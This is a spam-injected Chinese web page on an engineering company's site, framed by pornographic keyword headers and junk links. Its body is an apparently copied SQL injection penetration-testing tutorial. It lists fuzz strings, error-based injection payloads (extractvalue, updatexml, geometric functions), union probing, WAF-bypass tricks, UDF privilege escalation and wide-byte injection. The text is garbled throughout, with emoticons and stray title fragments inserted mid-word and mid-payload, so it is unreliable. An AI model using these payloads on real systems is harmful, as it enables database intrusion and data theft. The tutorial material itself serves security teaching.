亚洲女同成aV人片在线观看|亚洲www啪成人一区二区麻豆|亚洲国产中日韩精品综合|亚洲国产成人精品一级片|亚洲无码在线视频免费

您好,歡迎訪(fǎng)問(wèn)天津九安特機電工程有限公司!

17794282821

全國咨詢(xún)熱線(xiàn)

您現在所在位置: 主頁(yè) > 口碑營(yíng)銷(xiāo)

滲透測試對網(wǎng)站注入攻擊方法剖析

更新時(shí)間:2026-05-04 16:19:00

國慶即將到來(lái),滲透前一期講到獲取網(wǎng)站信息判斷所屬環(huán)境以及各個(gè)端口的測試用處和弱口令密碼利用方法,這期仍有很多客戶(hù)找到我們Sine安全想要了解針對于SQL注入攻擊的測試方法,這一期我們來(lái)講解下注入的對網(wǎng)攻擊分類(lèi)和使用手法,讓客戶(hù)明白漏洞是如何產(chǎn)生的,會(huì )給網(wǎng)站安全帶來(lái)怎樣的站注影響!

3.1 SQL注入漏洞

3.1.1. 注入分類(lèi)

SQL注入是入攻一種代碼注入技術(shù),用于攻擊數據驅動(dòng)的擊方應用程(′?_?`)序。在應用程序中,法剖如果沒(méi)有做恰當的滲(╬ ò﹏ó)透過(guò)濾,則可能使得惡意的測試SQL語(yǔ)句被插入輸入字段中執行(例如將數據庫內容轉儲給攻擊者)。

3.1.1.1. 按技巧分類(lèi)

根據使用的對網(wǎng)技巧,SQL注入類(lèi)型可分為

盲注

布爾盲注:只能從應用返回中推斷語(yǔ)句執行后的站注布爾值

時(shí)間盲注:應用沒(méi)有明確的回顯,只能使用特定的入攻時(shí)間函數來(lái)判斷

報錯注入:應用(yong)會(huì )顯示全部或者部分的報錯信息

堆疊??注入:有的應用可以加入 ; 后一次執行多條語(yǔ)句

其他

3.1.1.2. 按獲取數據的方式分類(lèi)

另外??也可以根據獲取數據的方式分為3類(lèi)

inband

利用Web應用來(lái)直接獲取數據

如報錯注入

都是通過(guò)站點(diǎn)的響應或者錯誤反饋來(lái)提取數據( ?° ?? ?°)

inference

通過(guò)Web的一些反映來(lái)推斷數據

如布爾盲注和堆疊注入

也就是我們通俗的盲注,

通過(guò)web應用的擊方其他改變來(lái)推斷數據

out of band(OOB)

通過(guò)其他傳輸方式來(lái)獲得數據,比如DNS解析協(xié)議和電子郵件

3.1.(′ω`*)2. 注入檢測

3.1.2.1??. 常見(jiàn)的法剖注入點(diǎn)

GET/POST/PUT/DELETE參數

X-Forward(′▽?zhuān)?ed-For

文件名

3.1.2.2. Fuzz注入點(diǎn)

' / "

1/1

1/0

a(??-)?nd 1=1

" and "1"="1

and 1=2

or 1=

' and '1'='1

+ - ^ * % /

<< >> || | & &&

~

!

@

反引號執行

3.1.2.3. 測試用常量

@@version

@@servername

@@language

@@spid

3.1.2.4. 測試列數

例如 域名/index.asp?id=12+union+se(′▽?zhuān)?lect+nulll,null-- ,不斷增加 null 至不返回

3.1.2.5. 報錯注入

select 1/0

select 1 from (select count(*),滲透concat(version(),floor(rand(0)*2))x fr(′?ω?`)om information_??schema.tables group by x)a

extractvalue(1, concat(0x5??c,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select us(◎_◎;)er())a)b))

GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的報錯注入

GeometryCollection((select * from (select * from(select user(ヽ(′▽?zhuān)?ノ))a)b))

polygon((select * from(select * from(select user())a)b))

multipoint((select * from(select * from(select user())a)b))

multilinestring((select * from(select * from(select user())a)b))

LINESTRING((select * from(select * from(se(⊙_⊙)lect user())a)b))

multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函數的報錯注入(ru)在MySQL 5.5.49后的版本已經(jīng)不再生效,具體可以參考這個(gè)?? commit 95825f 。

而以上列表中基于geometric的報(bao)錯注入在這個(gè) commit 5caea4 中被修復,在5(′ω`*).5.x較后的版本中同樣不再生效。(◎_◎;)

3.1.2.6. 堆疊注入

;select 1

3.(′ω`)1.2.7. 注釋符

#

--+

/*!xxx*/

/┐(′?`)┌*!50000xxx*/

3.1.2.8. 判斷過(guò)濾規則

是否有trunc

是否過(guò)濾某個(gè)字符

是否過(guò)濾關(guān)鍵字

s???lash和編碼

3.1.2.9. 獲取信息

判斷數據庫類(lèi)型

and exists (select * from msysobjects ) &g(′_`)t; 0 access數ˉ\_(ツ)_/ˉ據庫

and exists (select * from sysobjects ) > 0 SQLServer??數據庫

判斷數據庫表

and exsits (select * from admin)

版本、主機名、用戶(hù)名、庫名

表和字段

確定字段數(Order By Select Into)

表名、列名

3.1.2.10. 測試權限

文件操作

讀敏感文件

寫(xiě)shell

帶外通道??

網(wǎng)絡(luò )請求

3(′ω`).1.3. 權限提升

3.1.3.1. UDF提權

UDF(User Defined Function,用戶(hù)自定義函數)是MySQL提供的一個(gè)功能,可(╬?益?)以通過(guò)編寫(xiě)DLL擴展(zhan)為MySQL添加新函數,擴充其功能。

當獲得MySQL權限之后,即可通過(guò)這種方式上傳自定義的擴展文件,(′_`)從MySQL中執行系統命令。

3.1.4. 數據庫檢測

3.1.4ヽ(′ー`)ノ.1. MySQ??L

sleep sleep(1)

benchmark BENCHMARK(5000000, MD5('test'))(′ω`)

字符串連接

SELECT 'a' 'b'

SELECT CONCAT('some','str??ing')

SELECT @@version

SELECT version()

識別用函數

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

字符串連接(jie)

'a'||'or(⊙_⊙)acle' --

SELECT CONC(′?`)AT('some','string')

version

SELECT banner FROM v$versio(?????)n

SE??LECT banner?? FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';

SERVE??RNAME SELECT @@SERVERNAME

version SELECT @@version

字符串連接

常量

@@pack_received

@@rowcount

3.1.4.4??. PostgreSQL

sleep pg_sleep(1)

3.1.5. 繞過(guò)(guo)技巧

編碼繞過(guò)

大??小寫(xiě)

url編碼

html(′▽?zhuān)?編碼

十六進(jìn)制編碼

unicode編碼

注釋

// -- -- + -- - # /**/ ;%00

內聯(lián)注釋用的更多,它有一個(gè)特性 /!**/ 只有MySQL能識別

e.g. index.php?id=-1 /*!UNIO??N*/ /*!SELECT*/ヽ(′▽?zhuān)?ノ 1,2,3

union => ununionion

相同功能替換

函數替換

substr??ing / mid / sub

ascii / hex / bin

benchmark / sleep

變量替換

user() / @@user

符號和關(guān)鍵字

and / &

or / |

HTTP參數

HTTP參數污染

id=1&id=2&id=3 根據容器不同會(huì )有不同的結果

HTTP分割注入

緩沖區溢出

一些C語(yǔ)言的WAF處理的字符串長(cháng)(chang)度有限,超出某個(gè)長(cháng)度后的payload可能不會(huì )被處理

二次注入有長(cháng)度限制時(shí),通過(guò)多句執行的方法改掉數據庫該字段的長(cháng)度繞過(guò)

3.1.6. SQL注入小技巧

3.1.6.1. 寬字節注入

一般程序員用gbk編碼做開(kāi)發(fā)的時(shí)候,會(huì )用 set names 'gbk' 來(lái)設定,這句話(huà)等同于

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_clien??t = 'gbk';

漏洞發(fā)生的原因是執行了 set character_set_client = 'gbk'; 之后,mysql就會(huì )認為客戶(hù)端傳過(guò)來(lái)的數據是gbk編碼的,從而使用gbk??去解碼,而mysql_real_escaヽ(′▽?zhuān)?ノpe是在解碼前執行的。但是直接用 set names 'gbk' 的(de)話(huà)real_escape是不知道(dao)設置的數據的編碼的,就會(huì )加 %5c 。此時(shí)server拿到數據解碼 就認為提交的字符+%5c是gbk的一個(gè)字符,這樣就產(chǎn)生漏洞了。

解決的辦法有三種,第一種是把client的charset設置為binary,就不會(huì )做一次解碼的操作。第二種是是 mysq??l_set_charset('gbk') ,這里就會(huì )把ヽ(′▽?zhuān)?ノ編碼的信息保存在和數據庫的連接里面,就不會(huì )出現這個(gè)問(wèn)(′?ω?`)題了。第三種就是用pdo。如果期(°ロ°) !間想要滲透測試自己的網(wǎng)站安全性,可以聯(lián)系專(zhuān)業(yè)的網(wǎng)站安全公司來(lái)處理解決,國內推薦Sinesafe,綠盟,啟明星ヾ(′ω`)?辰等等的網(wǎng)站安全公司,還有一些其他的編碼技巧,比如lati??n會(huì )棄掉無(wú)效的unicod??e,那么admin%32在代碼里面不等于admin,在數??據庫比較會(huì )等(deng)于admin。

在線(xiàn)客服

ONLINE SERVICE

聯(lián)系電話(huà)

15323008686

返回頂部
亚洲女同成aV人片在线观看|亚洲www啪成人一区二区麻豆|亚洲国产中日韩精品综合|亚洲国产成人精品一级片|亚洲无码在线视频免费 城固县| 当涂县| 集安市| 屏南县| 吕梁市| 中西区| 长沙县| 文昌市| 海安县| 台北市| 肥城市| 乌拉特前旗| 诏安县| 仁怀市| 泰宁县| 千阳县| 淄博市| 凤冈县| 乌鲁木齐市| 浦城县| 广水市| 台北市| 佛学| 康平县| 新余市| 汝阳县| 民权县| 会泽县| 屯门区| 富平县| 若尔盖县| 城市| 教育| 黔江区| 青川县| 孟州市| 上思县| 广丰县| 南宫市| 疏勒县| 洪江市| http://444 http://444 http://444 http://444 http://444 http://444